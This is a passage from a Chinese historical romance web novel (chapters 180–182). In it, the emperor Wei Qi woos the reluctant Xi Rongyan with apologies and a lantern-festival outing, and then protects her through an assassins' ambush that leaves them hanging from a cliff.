魏祁眼神中已经没了在席容烟面前的脆弱病色,脸色高华冷清,没回高义的话,只缓缓泡进水中。
夜里席容烟睡得正好,只是半夜的时候,忽然有一种浑身发毛的感觉。
就是忽然后背一凉的感觉。
席容烟从沉睡里惊醒,一转头就吓了一跳。
只见自己床榻边上站着个高大的人影,身量颀长,周遭烛火灭尽,在昏暗中唯一只隐隐约约看到一个影子。
要不是魏祁身上熟悉的味道,席容烟真觉得是哪里来的刺客闯了进来。
席容烟心说魏祁到底是不是脑子烧坏了,大半夜跑到她这里来吓她,撑着要坐起来,却见那黑影忽然往她面前靠近过来。
席容烟心头发毛,身子往后倒:“魏祁,你大半夜不睡……?”
那黑影半晌没说话,只是愈加往席容烟身上靠过来。
接着在席容烟还没有反应过来的时候,高大的身子就压在了席容烟的身上。
席容烟被压的都喘不过气来。
她正推着魏祁的胸膛,却忽然觉得魏祁身上烫的厉害。
耳边是魏祁沙哑的声音:“直呼朕的名字,就这么恨朕?”
席容烟怔了怔,推拒的动作一顿。
她的身子被魏祁抱在怀里又翻了个身,脸颊紧贴在魏祁炙热的胸膛上,头顶传来他低低疲惫的声音:“烟儿,朕难受……”
“让朕抱一抱吧。”
低低的声音在寂静的深夜里很清晰,那炙热的呼吸仿佛在说明他当真很难受。
那手掌紧紧按在她后背上,热气扑洒在她头顶,喃喃的声音缓缓而来:“求你了……”
席容烟的身子僵住。
她轻轻的抬头,看不见魏祁此刻的神情,她只能感受到他身上炙热的温度。
她的手被魏祁一只手紧握着,紧贴的身子能够感受到他身上炙热的心跳,扑通扑通,震耳欲聋。
脑中的空白过去,席容烟道:“你要请太医来。”
头顶始终不曾再传来声音来。
席容烟想侧头叫外头守夜的人去叫太医来给魏祁看看,今日下午身上没这么烫的,怎么大半夜的这么烫了。
要是真在她床榻上出了事,那还得了。
只是她才刚要转过头去,魏祁却像是能察觉到她的每一个动作似的,忽然低头吻住了她的唇瓣。
魏祁的唇舌也滚烫的厉害,席容烟愣了许久才反应过来。
她打了打魏祁的肩膀,让他赶紧松开。
魏祁倒是没有如从前那样丝毫不管她的死活,只顾着他自己,在席容烟打她第二下的时候就松开了。
那修长的大手抚在她脸颊上,声音好似有气无力:“太医给朕看过,让朕静养。”
“但朕睡不着。”
“烟儿,朕抱着你睡可以么。”
“朕什么也不做。”
席容烟难得听到魏祁这样脆弱服软的声音,她愣了半晌,想说不行,可又想魏祁病的这样厉害,拒绝的话竟然有些说不出口。
她僵了半晌,看着人还撑在她面前,像是小心翼翼的等着她的回应,最后也没恨下心来,似是而非的嗯了一声。
面前人像是终于松了口气,将她重新揽入怀中。
这一夜魏祁的确什么都没做。
抱着她,难得的规规矩矩,老老实实。
不过才一会儿,他就睡得很沉了。
像是真的如他所说睡不着才过来,抱着她就睡着了。
反倒是席容烟翻来覆去了好一会儿,脑中乱想了许多,到外头微亮的时候才睡着。
但席容烟也没有睡多久,因为她被魏祁起身的动作吵醒了。
她醒来的时候,浑身懒洋洋的,趴在软枕上,青丝扑在后背上,眯着眼侧头,还不适应从帘子外透进来的光线。
魏祁静静坐在床沿上,低头看着席容烟慵懒的眼眸往他身上看来,睡眼惺忪,白净脸庞上还睡出一道印子,秀眉湛湛,懵懵懂懂。
两人静静对视了好半晌,席容烟才渐渐清醒了过来,也没有要起来的意思,又闭上眼睛,只说了句:“皇上醒了?”
懒懒的声音沙哑,还有一丝软音,显然是没睡好的声音。
也显然没有要陪他一起起来的意思,看样子还想睡。
就连他的病似乎也没打算问,也真是无心。
魏祁看着席容烟扯着嘴角笑了下。
但没想怪她,她昨夜在他怀里翻来翻去,他都知晓。
他伸手落到席容烟搭在枕上的细腻手腕上,轻轻握紧,又道:“你多睡会儿。”
席容烟没答魏祁的话,闭着眼睛,像是不愿理他。
魏祁抿唇,看样子她不是单纯与他闹脾气,她是真的不愿理他。
他又深深看了看人,起身打算出去,身后又传来席容烟细细的声音:“你好些了吗?”
魏祁的身子一顿,转身看向席容烟。
她脸还埋在枕间,眸子软绵绵的,他笑了笑:“好些了。”
席容烟见着魏祁的笑意,愣了愣,又蒙在枕间,哑哑的唔了一声。
等到她起来的时候,已经是中午了。
午膳时魏祁没在,席容烟顺口问了一下,才知道魏祁从早上起来就去书房处理政务,这会儿还在书房见人。
席容烟想着魏祁病那么重,竟也不多歇个一两日。
又想起那日他说他活不长的话,心里头莫名的不知情绪。
一连半月多,魏祁没有再让席容烟去照顾他,只是夜里必然要去她那里睡的。
起初席容烟还会拒绝他一下,但后来他再来,她已经自觉给魏祁留了位置,任由他从身后抱住她,一直睡到天亮。
这夜,魏祁依旧是夜里很晚才过来。
席容烟知道魏祁这几日忙的很,拖着病体还日日留在书房处理政务。
尽管她不喜欢魏祁的所作所为,但他作为皇帝,一直是勤勉的。
她这些日没与他闹过,他抽空过来与她用膳,给她夹菜,她也安安静静的陪着。
夜里他来的时候,他的手覆在她腰上,她也没有推开过他。
不过魏祁除了揽着她的腰,或则是有时候抱得有点紧,也没有其他的动作,也不说话吵醒她,席容烟也由着他去了。
只是今夜不一样。
第180章 先认错本就是应该的
今夜魏祁过来的时候,身上难得还有点凉,光裸的胸膛湿漉漉的,像是刚沐浴过来。
他习惯又自然而然的将背着他的席容烟扳过来抱在怀里,没有如从前那样揽在她腰上就睡了,而是将修长的手指落在她的脸庞上。
席容烟闭着眼睛假寐,感受到魏祁的手指在一点点往下,最后停留在她的衣襟处。
她到底是没有忍得下去,伸手挡在了衣襟口。
魏祁被席容烟忽如其来的动作打断了动作,在昏暗的床帐内,他看着席容烟依旧紧闭着眼睛,扯了扯唇角:“朕以为你睡了。”
席容烟想翻白眼,以为她睡着了就可以胡作非为了是吧。
她没理会他,不想说话。
魏祁又静静看着席容烟半晌,听着她均匀的呼吸声,他又开口道:“明日是中元节,朕带你出去走走。”
席容烟这才睁开眼睛看向魏祁。
她对上魏祁低垂看来的目光,又问:“你不怕我又跑了?”
魏祁抿了抿唇角看她:“你会跑么?”
席容烟别过眼去:“你不信我,也可以不用带我出去。”
说着席容烟翻了身从魏祁的怀里背过身去。
细细的声音在夜里很轻:“你从前还关着我的,你忘了?”
魏祁看席容烟这时不时翻出来的旧账无奈的笑了笑。
他想说的是要是她能够不折腾,真心实意的留在他身边,他也没必要那样对她。
但这话这时候他知道是不能说的。
高义有句话倒是说的没错,在女人面前,没有必要一定要争论对错,只需要认错就好了。
魏祁也从中找到了关键,每每他认错,席容烟反而不提了,不管怎么说,她态度有好转。
自己装病这些日子,她也心软了。
魏祁的手落在席容烟单薄的肩膀上,低声认错:“从前是朕不好,烟儿,对不起。”
这声对不起,前世席容烟一声也没有从魏祁口中听到过。
前世的魏祁也丝毫不觉得他做得有错的。
席容烟忽然又听到魏祁的这一声对不起,还有些恍恍惚惚。
她怔了半晌,没有开口,却再没说讽刺的话了。
魏祁知道这样尤其有用的,因为在他手掌下的肩膀软了,也代表席容烟的心也软了。
其实他也有一瞬间的失神,原来不过是一声对不起,要是他前世能多安慰安慰他,多认错服软,或许也不至于是那个结局。
本就是他先对不住她,先认错本就是应该的。
她或许想要听的也是这样吧。
他指尖眷念她身上的温度,又低头抵在席容烟的后颈上,缱绻的声音叹息,又低低说了声对不起。
席容烟在暗色里眨眨眼睛,眼眶湿润下喉间哽咽。
她咬着唇不说话,手指紧了又松开,最后闭上眼睛。
一夜过去,席容烟醒来的时候脸颊贴在魏祁敞开的衣襟上,他身上白色的里衣像是被她蹭的皱皱巴巴,她抬头,见到魏祁依旧闭着眼睛。
冷清又高华的眉目松懈下来,看起来又有些温和。
他的发丝与她的交缠在一起,他的手还紧紧落在她腰上,他起伏的胸膛传来阵阵热意,都让席容烟一怔。
她只是失神片刻,腰上的手指便动了动,她的身子被他按紧贴在他的胸膛上,发顶被魏祁吻了一下,他听到他慵懒的声音,带着一丝漫不经心的声线:“醒了?”
席容烟嗯了一声,目光都落在魏祁敞开的胸膛上,又闭上眼睛。
后背上的手指轻轻拍了拍:“这会儿起么?”
席容烟愣了下又问:“皇上不起么?”
魏祁闭着眼,低头闻着席容烟身上的幽香,沙哑的唔了一声。
怀里的身子当真很软,抱着又轻,他懒洋洋没有要起来的意思,抱着席容烟的手却越来越紧,还时不时往她腰上轻捏一下。
又低头看了一眼席容烟脸上的表情:“睡会儿了朕带你出去。”
席容烟有点喘不过气,想着等不到出去,估计都得被魏祁给憋死
她推了推:“别抱紧了。”
魏祁笑了下,稍微松了松,将席容烟的手放在自己腰上:"那你抱着朕吧。"
席容烟嫌弃:“我才不要。”
魏祁挑眉的看她,样子像是真嫌弃。
估计也只有席容烟这么嫌弃他。
如今魏祁不生气了。
来日方长。
至少两人还能同榻而眠,等后面有了孩子,席容烟再嫌弃他也只能忍着了。
时间还长,的确是急不得的。
又睡了会儿,快要中午的时候,魏祁才将席容给烟捞了起来。
席容烟本来是早就想起了的,偏偏魏祁压着她不让她起,非得在榻上大眼瞪小眼,挨到了快正午。
席容烟睡久了反而满身疲惫,坐在妆台前让丫头梳头发都没什么力气。
旁边的魏祁倒是精神奕奕,没一会儿穿戴整齐了又忽然哪根筋不对要来给她描眉。
席容烟怕魏祁给她画丑了,连忙拦着他:“不敢劳烦皇上的金手。”
魏祁听得出席容烟话里的反讽。
敢与他这么说话的人,除了席容烟也没谁了。
他挑挑眉:"金手给你画眉你还不乐意?"
“铁手给你画行不行?”
席容烟一愣。
魏祁已经从旁边婆子的手中接过眉笔,捏着她的下巴让她抬头,弯腰为席容烟描眉来。
席容烟这时候不敢动,生怕动了魏祁画的更丑,她还要重新洗脸。
魏祁低头看着窗下眉眼清澈的人,白净脸庞如梨花春水,如雨幕里的云雨,他细细描摹,为她撒下深情,只但愿她能懂一分就好。
纵然他有千万种不对,也有一分的好。
她也别总记着他的不好来。
眉间有一些细细的痒,席容烟抬眼,看到的是魏祁格外认真的模样。
这是他第一次为她描眉,她怔然看了许久,微微失神。
直到魏祁垂眸看她:“好了。”
席容烟忙往铜镜上看去,原以为是两条毛毛虫似的粗眉,没想到竟然意外的好。
只是到底不如婆子画的好,但魏祁能为她画成这般,已经极不错了。
席容烟看魏祁:“该是给你的那些妃嫔画过不少吧。”
魏祁听了席容烟的话不由一挑眉。
他似笑非笑:“吃醋了?”
席容烟一愣。
其实刚才说完那话她也有点后悔,魏祁给别人画不画的又与她什么干系。
他后宫那么些人,又与自己何干系。
席容烟别过头:“没有。”
魏祁笑了笑,低头又捏着席容烟的下巴让她抬头,眼神倒是格外认真的看她:“烟儿,这是朕第一回画。”
“你眉细长,朕也不是个傻子,知道沿着你的眉画。”
“虽说手生,但用心了也不是难事。”
温温的声音再有魏祁那认真解释的目光,让席容烟忘了如之前那样讽刺他。
心跳加快里她快速的别过头去,又草草的嗯了一声,掩盖住自己的情绪。
不得不承认,这样丝毫不生气,又纵容她的魏祁让她不知所措了。
明明心头依旧埋怨他,恼怒他的。
席容烟又拿着眉笔给自己描了描,再不理会旁边的人。
午膳后魏祁就带着席容烟坐马车进城。
去的不是京城,是离行宫不远的城里。
进城的时候已经是半下午了,因为是上元节,城内十分热闹,花灯猜谜和杂耍舞狮,看得席容烟眼花缭乱。
魏祁身上一身宝蓝色常衣,牵着席容烟往灯市去。
路上穿梭的来来往往的人脸上许多都带着面具,魏祁看席容烟有兴致,也牵着她去买。
站在琳琅满目的面具前,席容烟选的很难,魏祁倒是丝毫不纠结,选了个最吓人的鬼脸。
又看席容烟纠结,拿了个小鬼脸戴在席容烟脸上:“就这个挺好。”
席容烟嫌弃太丑太吓人了不愿意要,魏祁笑了笑拉着席容烟就走:“我们凑一对儿大小鬼。”
席容烟恼的去踩魏祁的靴子:“谁与你大小鬼了?”
魏祁避的很快,手上紧紧握着席容烟的手,让她在穿梭的人群里紧紧靠在他身边。
到了灯市,席容烟看着各色灯笼移不开眼,又看前头有点天灯的,迫不及待要去看。
魏祁拉住她:“先去歇会儿。”
席容烟问他:“你累了?”
魏祁低头看人:“马车上谁说腰酸背痛?”
席容烟承认是她说的,可这会儿她想要去看花灯!
魏祁不给席容烟拒绝的机会,拉着她往酒楼走:“这会儿天还没暗,夜里更加热闹。”
“这会儿你逛完了就累了,夜里你还想不想逛?”
“我让人选了位置,可以看傀儡戏,酒楼下头还有舞龙,别急。”
席容烟听了魏祁的话,这才觉得他安排的也是极好的,老老实实跟着他走。
上到雅间,中间戏台上在演傀儡戏,桌上放着油炸果子和一些零嘴,堂上还有热闹的喝彩声。
席容烟许久没有感受到过这样的热闹了,带着面具,看着戏台上津津有味,又咬了一口油果子。
魏祁坐在席容烟身侧,侧头看着席容烟侧脸。
尽管她脸上带着狰狞的面具,但在那身粉衣上,依旧能感受到她这一刻的愉悦。
看着她时不时抬起面具往那小嘴里塞东西,他扯了扯嘴角笑,席容烟看起来像是小姑娘一般。
他又一顿,席容烟不就是个自小金娇玉贵,被捧在掌心长大的小姑娘么。
她讨厌自己也没有错。
要是没有他,她这一生也会被人时时刻刻宠在掌心。
他伸手握住席容烟的手,用帕子低头为她擦手上的粉屑,柔软的手指白净又光滑,手掌不大,指甲圆润,落在他掌心惹人怜爱。
他又握了握,将兴致勃勃往下看得人抱进怀里,让她坐在他腿上。
席容烟这才反应过来,看向魏祁:“你忽然抱我做什么?”
“大庭广众,你成何体统。”
魏祁笑了笑,不知道怎么的,这样的席容烟叫他觉得人比从前性子还好些。
他捏着她腰间不让她乱动,哑声道:戴带着面具还怕什么?”
“你瞧瞧对面。”
席容烟听了魏祁的话往对面看去,就见着对面一个男子怀里也抱着个人,那手都往人衣裳里摸去了。
席容烟哎呀一声蒙住眼睛,简直没眼看。
魏祁笑着拉下席容烟捂在眼睛上的手:“这都怕看了?”
席容烟瞪向魏祁:“谁都与你一样不要脸?”
魏祁笑了下。
席容烟看魏祁只笑不说话,就犹如拳头打在棉花上,又别过脸去看戏去。
魏祁见席容烟目光看着一处出神,顺着她目光看去,是两个光膀子打鼓的年轻男子,一挑眉就掐了掐她的腰:“两个打鼓的,有什么好看的。”
席容烟一愣,反应过来魏祁以为她在看那打鼓人。
她看过去,年轻又身强体壮,脸也俊朗,也是真好看,难怪能引这么多女子过来观赏。
她有心要气魏祁,侧头看向他:“总之比你好看。”
魏祁目光沉下去:“真比我好看?”
席容烟透过那狰狞的面具下看到了里头魏祁那双眯着的眼睛,微微一怔。
想着这人怎么这么小气,还不容许谁比他好看了?
她不说话,想着这人小心眼,不搭他话就是,便偏过头继续撑头往下看去。
在魏祁的眼里就是又看别的男人去了,赤裸裸的没将他放在眼里。
只听刷的一声,席容烟面前的帘子被魏祁一把合上,一下就隔绝了外面的热闹。
席容烟脑中还空白了一瞬,想着这人到底又怎么了。
正想侧头问过去,又觉得一阵天旋地转,脸上的面具被魏祁揭开,他昏色中戴着面具的脸朝她压下来,昏昏暗暗中竟然有一股让人惧怕的压迫。
或许是那面具在昏暗中更加吓人,又或许是魏祁阴沉又昏暗的眼睛,席容烟心头升起一股惧意,手掌抵在魏祁的胸膛上,心里狂跳。
在只有两人的暗室里,魏祁压着她在狭窄又发硬的长椅上,她后背微微发疼,魏祁的声音漫不经心的从面前传来:“烟儿喜欢看他们?”
席容烟也知晓这时候自己再与魏祁对着干,不定这个人会干出什么来。
她很快的摇头。
魏祁看着身下的人,刚才那一瞬间的恼,这会儿见着她这般又生了一抹无奈。
第181章 遇刺
魏祁将席容烟重新抱起来坐在怀里,又低声道:“舞龙该开始了。”
席容烟这才反应过来。
她瞪着魏祁:“皇上不许我看他们,那你看别的人呢。”
魏祁一顿,无奈的挑眉:“朕看谁了?”
席容烟别过头去:"你自己心里知晓的。"
魏祁看了看席容烟这使性子的样子笑了笑,替她将面具带好,又牵着她出去看舞龙。
这时候天幕已经黑下来,道路两边全都是人,舞龙从中间走过,锣鼓喧天。
灯火辉映,将夜里衬的如同白昼。
烟花亮起,流光轮转,席容烟看得出神。
魏祁静静站在席容烟身边,看着她面具下亮晶晶的眼睛,等着她看够了又牵着她往灯市去。
灯市里各种稀奇古怪的灯笼都有,席容烟去买了个蝴蝶灯,也让魏祁提个兔子灯。
魏祁无奈,两人提着灯笼又去猜灯谜。
席容烟让魏祁出马,拿着答案换了不少东西,魏祁一个人都抱不下了。
他怀里抱着灯笼玩具低头看席容烟:“你要我去猜来的东西,就不帮我拿?”
席容烟撇嘴,别以为她不知道,他们身边全都是他的人,他让个人拿还不行?
席容烟不理会他,又去看放天灯。
魏祁看着席容烟的背影,将手里的东西交给身后的人,在人潮涌动里,怕席容烟走丢了,忙又追过去。
只是灯市上人来人往,席容烟身量娇小,魏祁不过一个走神,竟然没有看到她,心里就是一紧,忙叫身后的随从去找。
那随从看着偷偷钻到皇上身后的席容烟朝着他做噤声的手势,欲言又止的,到底也没敢出声提醒,默默闭嘴。
两口子的事就不插手了。
魏祁入目都是带着面具的人,独独看不到席容烟,心头就越来越沉。
席容烟躲在魏祁身后铺子的石狮子后面,魏祁高大的身量在人群里十分显眼,一眼就能瞧见。
她看见魏祁的眼神越来越阴沉,还有点吓人,就有点犹豫要不要过去,不吓他了。
但又想这人处处恶劣,自己有机会吓他也是他应得的。
又见着魏祁居然叫了巡街使来,十几个人齐刷刷的,像是要疏离人群,她这才觉得事情恐怕要闹大,连忙往魏祁那边去,又扯了扯魏祁的袖子:“别找了,我在这儿。”
席容烟的声音很低,还有点底气不足。
虽说是想报复他吓吓他,可见着他弄这么大动静也有点忐忑。
魏祁听到席容烟的声音猛的一转头,就看到站在他身后一步外的席容烟,正抬头看他。
席容烟看到魏祁的脸也是一惊,她看到那双面具后的眼睛带着血丝,骇人的很,不由又往后退了一步,解释着:“我只是想吓吓你,没有走远,就在你身后的。”
只是话说完,魏祁依旧紧紧看着她,高大的身躯不动,席容烟的心也提了起来,心底深处是有些惧怕魏祁的,又小声道:“对不起。”
魏祁才深吸了一口气,弯腰用力将席容烟揉进了怀里。
刚才那一瞬间,他以为她又跑了。
那一股愤怒无力直到现在都残留在心底。
他原以为他这些日足够纵容她的,不明白她为什么还是要跑。
怀里的身子在轻颤,魏祁闭着眼叹息,想着刚才或许是吓着她了。
他伸手揉了揉她柔软的乌发,哑声道:“下回别吓朕了。”
沙哑的声音让席容烟怔了下。
她以为看刚才魏祁的样子他会怪她,或是生气。
她仰头靠在魏祁的肩膀上,又怔然的点头。
重新被魏祁牵在手心,魏祁走在前面紧紧拉着她去看放天灯。
魏祁的手握的很紧,席容烟低头看着他的大手,又看向魏祁的背影。
高大的沉默的,她想起前世里在盛儿出事之前,两人其实也曾有过一段温馨的时候。
她不能矢口否认,魏祁虽然毁了她平静的日子,但他对她独一份的偏爱,炙热又浓烈。
她甚至心底在想,既然摆脱不掉这种命运,是不是该真的放手过去,试着与他好好相处。
她又看到魏祁忽然回头,她看见他浓墨黑膜里倒映的一抹火光,看着她,幽深的,又将她拉进他的怀里。
魏祁在她耳边低声道:“烟儿,抬头。”
席容烟怔了一瞬抬头往夜空看去,千万盏天灯伴随着烟花升起,席容烟看得呆了呆。
她忍不住喃喃:“真美啊……”
魏祁笑了下:“特意为你准备的。”
席容烟愣了下转头看向魏祁。
她张张唇,又垂下眼帘,心头千万种情绪交织,矛盾又徘徊。
她最后轻声道:“谢谢。”
因为席容烟也明白,魏祁能够在百忙里带她出来,为她花心思准备,她知道他是用心了的。
魏祁现在难得能听到席容烟一声谢谢。
他低头看着她夜风中扬起的发丝,看着那双眼眸,总是会想起她在广陵的种种,那股想要离开他脱离他的决心与坚韧。
他明白她说的话都是真的,她没有闹脾气,她是真的想要走。
他心底也明白对她的亏欠。
魏祁低低叹息:“烟儿,朕的一切都是你的。”
“你不用说谢谢。”
“朕亏欠你的,远远不够偿还。”
“这些日子朕明白你没有胡闹,朕明白你的委屈。”
“对不起。”
“朕不知道该怎么喜欢你,以为将你留在身边就好了。”
“朕错了。”
席容烟哑然,看着魏祁的眸子,或许她是真的心软了。
或许是她听见魏祁说他亏欠自己。
从前从不觉得自己有错的魏祁,终于承认了她的委屈,他做过的错事。
席容烟一瞬间红了眼眶,低头含着泪,额头抵在了魏祁的胸膛上。
魏祁静静抚着席容烟的后背,像是在轻轻抚慰她此刻的难受。
在喧嚣声中,在人群里包裹里,魏祁低头轻轻的在席容烟的发顶落下一吻。
烟火亮起,席容烟感受到那温热的呼吸,她捏紧魏祁的袖子,回来后的第一回,紧靠在魏祁的怀里。
这一夜的烟火到了半夜才落下帷幕。
街道上的人群依旧来往穿梭,虹灯闪烁,只稍稍冷清了一些。
魏祁牵着席容烟在上马车前问她:“还想留在这儿么?”
“朕陪你。”
席容烟知道魏祁很忙,她也并不想给他添麻烦。
她摇头。
魏祁捏了捏她的脸庞,黑眸中晦涩:“烟儿,不必在意朕,只要你高兴,比什么都重要。”
席容烟垂眸看着魏祁落在自己面前的袖口,依旧摇头:“想回了。”
魏祁这才牵着席容烟上了马车。
马车上魏祁给席容烟喂荔枝,那灼灼目光看着她,她稍一失神,难得的没有躲开,低头咬了一口。
魏祁笑了笑,神情一暖。
他看着那布满汁水的粉色唇瓣,又低声道:“你不喜欢在宫里,往后我们都住在行宫。”
“你想怎么布置就怎么布置。”
“朕不会再限制你出去,只是朕担心你安危,会让人在后面护着你。”
说着魏祁将席容烟软嫩的手掌包裹在手心:“烟儿,也试着接纳朕,要是最后你仍不愿留在朕的身边,朕放你离开。”
席容烟一怔,抬头看向魏祁。
昏暗光线下,他的眼眸沉静又炙热,翻滚的情绪浓烈,叫她心头颤颤。
手上是他包裹住的温度,她心头情绪交织,又情不自禁的点头。
或许这是两人之间最好的法子。
她也明白,两人之间即便这么僵持着闹下去,或许永远都不会有结果。
魏祁见着席容烟点头,面上一缓,两人终于有缓和的迹象了。
席容烟又抬头看向魏祁:“要是有一天我依旧要走,你真的会让我离开么?”
魏祁掩藏住眼底的所有情绪,缓缓开口:“烟儿,朕不会食言。”
席容烟便认真的点头:“我应你的。”
魏祁捧着席容烟的脸庞认真的端详她,又笑了笑,只要席容烟有了孩子,即便真的要离开,还是会有顾虑的吧。
他会让她很快就有的。
回行宫的路程并不算远,只是半路时,外头忽然听见马声嘶鸣,紧接着马车骤停,车窗外又忽然射进来一只箭矢。
席容烟吓得脸色一白,闭着眼睛躲进魏祁怀里,再睁眼的时候,身子已经被魏祁压低在他怀中,他手中还紧捏着刚才飞进来的箭。
这时候帘子被人从外头掀开,传来急促的声音:“皇上,遇见刺客来了。”
“至少百多人。”
魏祁冷静的开口:“回行宫叫援兵来,马车继续往前走。”
帘子重新被放下来,马车再继续急促的往前走。
席容烟不敢看外头的场景,只听得见马车外箭矢飞过的声音,和兵刃相碰的声音。
她看着那被箭矢划破的帘子,外头火光忽明忽暗。
她紧张的手心落满了汗。
魏祁紧捏着席容烟的手,又将她进护在怀里,用胸膛护着她的身子。
他修长的手指落在她后背上,依旧缓声安慰她:“烟儿,朕在你身边,别怕。”
席容烟感受到自己的身子被魏祁都护在怀里,在这个时候,他还这么护着,眼里一热。
又忽然听到马声嘶鸣的更响,马车剧烈摇晃起来,紧接着马车一翻,席容烟紧闭着眼睛。
意想中的疼痛并没有到来,睁眼的时候,她已经被魏祁抱着送上了一匹马。
魏祁站在她身侧神情冷凝的对着侍卫低声吩咐,显然严峻。
她往周遭看去,眼里便生出惊恐来。
拉马车的两个侍卫身上满是箭矢,死在了地上,身侧火把若隐若现,鼻端传来血腥,暗处的草丛里,一闪而过死了的人。
她回神,耳边听到侍卫的一句人越来越多,杀不完时,心头一凉。
围在她身侧的七八个侍卫为她挡着飞来的箭矢,她也眼睁睁看着箭矢穿透侍卫的脖子,栽倒在地上,她吓得几乎从马背上摔倒下去。
魏祁低声吩咐完,见着席容烟脸色苍白,翻身上了马,从她身后伸手过来握住缰绳就往行宫的方向疾驰。
魏祁的身手很好,即便他一只手握着缰绳,另一只手握着的剑也能很快将飞来箭矢打掉。
身后的打斗声越来越远,原以为终于逃脱,前面却忽然又亮起了火光,白刃在火光中发寒,那些黑衣人没有任何拖泥带水的就往他们围了过来。
席容烟忽然在一瞬间明白,这么多人,早就埋伏好了。
对面至少七八十人,魏祁的身边护送的只有五六人,其余的都在后面拖住第一批遇见的那些刺客。
席容烟心慌的转身看向身后的魏祁,只是这一眼才看到他肩头中了箭,箭头从他后肩穿过来,在血光中隐隐可见锋利的银色。
她脸色发白,看向魏祁:“你受伤了。”
魏祁没看席容烟,他看着前面涌过来的人,看着他们手上拿着长剑,视线忽然一转,右边又涌过来蒙面的黑衣人。
那些黑衣人个个看着训练有素,拿剑的姿态与弓箭手射出的准度,都不是寻常人能办到的。
是在军中历练过后,才有的熟练。
身边的侍卫看着涌过来的人声音慌乱:“皇上,人太多了。”
“怕等不到行宫的人过来。”
魏祁一抿唇,再拉缰绳,往左边疾驰。
夜色浓郁,月色下树影如张牙舞爪的鬼魅,身后的声音越来越近,马蹄急促又戛然而止。
身后是大片追过来的黑影与簌簌射来的箭矢。
席容烟鼻端闻到浓烈的血腥味与身后魏祁的闷哼声,她惶惶的要回头看,魏祁却抱紧她,在她耳边低声道:“抱紧我,别松手。”
席容烟还没有反应过来,便觉得一阵天旋地转。
她脑中唯只记得魏祁的那一句话,紧紧的抱着他。
马蹄在她耳边远去,八月末的夜里她耳中却灌进簌簌冷风。
她胆战心惊的不敢睁眼,呼呼风声却刺耳,伴随着耳边依旧落下的箭矢声音,触不到地面的脚底让她捏在魏祁后背上的手指都在发抖。
腰上环过来一只手臂,她听见了魏祁粗重的呼吸,再睁开眼的时候,眼前唯有峭壁,她挂在魏祁的身上,抬头的时候,是魏祁一只手紧握在悬崖上的树枝上,另一只手却依旧紧捏在她身上。
第182章 落水
这一刻忽然不是怕死。
魏祁受伤的手臂上缓缓流淌下来的血液,湿润了他胸膛上的衣料,让她在那片温热里泪眼婆娑。
头顶上依旧有凌乱的脚步声,席容烟想要开口又怕出声,紧紧埋头在魏祁的怀里。
那些脚步声显然是不肯轻易离去的,虽说头顶有横长的大树遮盖,但火把从上扔下来,被发现具体的地方是迟早的。
悬崖上呼啸的风声里,魏祁低低的声音落在她耳边,声音里依旧带着他一惯的平稳:“烟儿,抱紧了别松手。”
席容烟不想让魏祁分心,捏紧他后背上的衣料,凌乱的点头。
魏祁往下看了看,缓缓松了环在席容烟腰上的手掌,在又一根火把扔下去的时候,他双手捏着枝干缓缓朝着峭壁移过去,又在凹凸不平的悬崖上手掌紧扣,又深吸一口气,脚往前蹬过去,就松手往下落,再紧紧捏在下面更粗壮的枝干上。
他再贴着悬崖边移过去,上面突出的岩石足够挡住上面的箭矢。
下坠的火把也很快消失在黑暗中。
席容烟感觉到魏祁的胸膛上越来越湿润,血腥味浓的她像是已经闻不到了。
他清晰的感受到魏祁的身体撑不了多久。
更何况他还承受着她的重量。
她抬头,小声道:“我也可以自己捏着树枝的。”
“要不让我试试?”
魏祁没说话,隔了许久才听到他低低的声音:“你握不住的。”
“我们还在半悬崖。”
这话叫席容烟一颤。
半悬崖上,即便等到了人来救他们,那怎么下去。
刚才在上头太紧张,所有的注意都在头顶上,现在她才听见下面的流水声,说明下面是水。
她不知道水有多深,要是落下去……
她手上已经微微有些脱力,拽不住魏祁的身上了。
她也能清晰的感受到身子在魏祁的身上缓缓下滑。
他身上的血浸透了他的全身,湿漉漉又粘稠,她越发抓不住
但席容烟紧咬着唇没有吭声,或许一个人活着总比两个人都死的好。
魏祁直到现在也没有放开她,她心底是动容的。
她不想连累了他。
席容烟没再开口,脑中闪过前世今生的许多事情,忽然在这个生死关键的时候全都释然了。
耿耿于怀折磨的也是她自己。
她只是有些遗憾当初走的时候没有去见见父亲母亲还有大哥一眼。
她咬着牙感受着自己缓缓的下落,她在想着要不要松手的手,腰上忽然握过来一只大手,伴随着深吸气的声音,她的身子被魏祁往上提了提。
头顶依旧是魏祁从容不迫的声音:“累了?”
他的声音响起的时候,仿佛他们不是在生死之间,仿佛此刻魏祁依旧成竹在胸,他们不会死。
席容烟红了眼眶。
她更明白,魏祁在这个时候松手,他更有可能活下去。
但他没有。
脚下滚滚的流水声和悬空的脚底让席容烟心头难受,她咬唇摇头,又问魏祁:“我们会死么?”
她在夜色中看不清魏祁的样子,只能看见他隐隐约约的轮廓。
但她能够感受到他低沉看来的目光。
头顶半晌都没有魏祁的回应,席容烟也并不抱希望魏祁能够回应她。
她知道,活下来的概率或许很小。
她眨了眨眼睛,努力让自己的声音平静下来:“要不你松开我吧,总比都死了的好。”
魏祁依旧不说话,只是环在席容烟腰上的手指又紧了一分。
这颗树的枝干太粗,即便魏祁的手掌宽大,他也知道握不了多久。
脚下再没有树枝,只有崎岖不平的岩石。
若是只有他自己,于他来说活下去并不是难事。
他更知道他的体力再耗不了多久,脱力的时候只能坠下去。
这个高度落下去,很难活着。
魏祁脚蹬在在突起的石头上,用力将身体抬了抬,用手臂弯环在树干上,又将怀里托着的席容烟用力往上抬。
额上汗水涔涔,伤口处的血滚滚往外冒,魏祁咬着牙,尽量用沉稳的声音让席容烟抬手握住枝干,他拖着她攀在他的后背上。
席容烟知道这时候她不能给魏祁拖后腿,连忙伸手去抱头顶的树枝。
手掌抱过去的时候她才知道为什么魏祁说她握不住,那枝干很粗,她两只手都抱不住,手掌定然要滑下去。
她咬着牙费力抬着身子,在魏祁托在她腰间的手上移在了他的后背上。
魏祁等到席容烟在他背上抱紧了才伸手扣在凸起的石头上往下。
时不时有滚落的石头在魏祁脚底下滚落下去,席容烟在魏祁后背上惨白着脸,大气都不敢出一声,生怕两人一起滚落了下去。
不知道爬到了哪里,底下的水声越来越近,她听见魏祁又响起的声音:“把我的腰带解下来。”
“你能行么?”
席容烟慌忙点头:“我试试。”
她一只手紧拽在魏祁的肩膀上,一只手试着去够魏祁的腰带,试了好几次才够到,解开后让魏祁咬住一头,她将缠着的都解下来。
魏祁又让席容烟将腰带系在两人手臂上系紧,打死结。
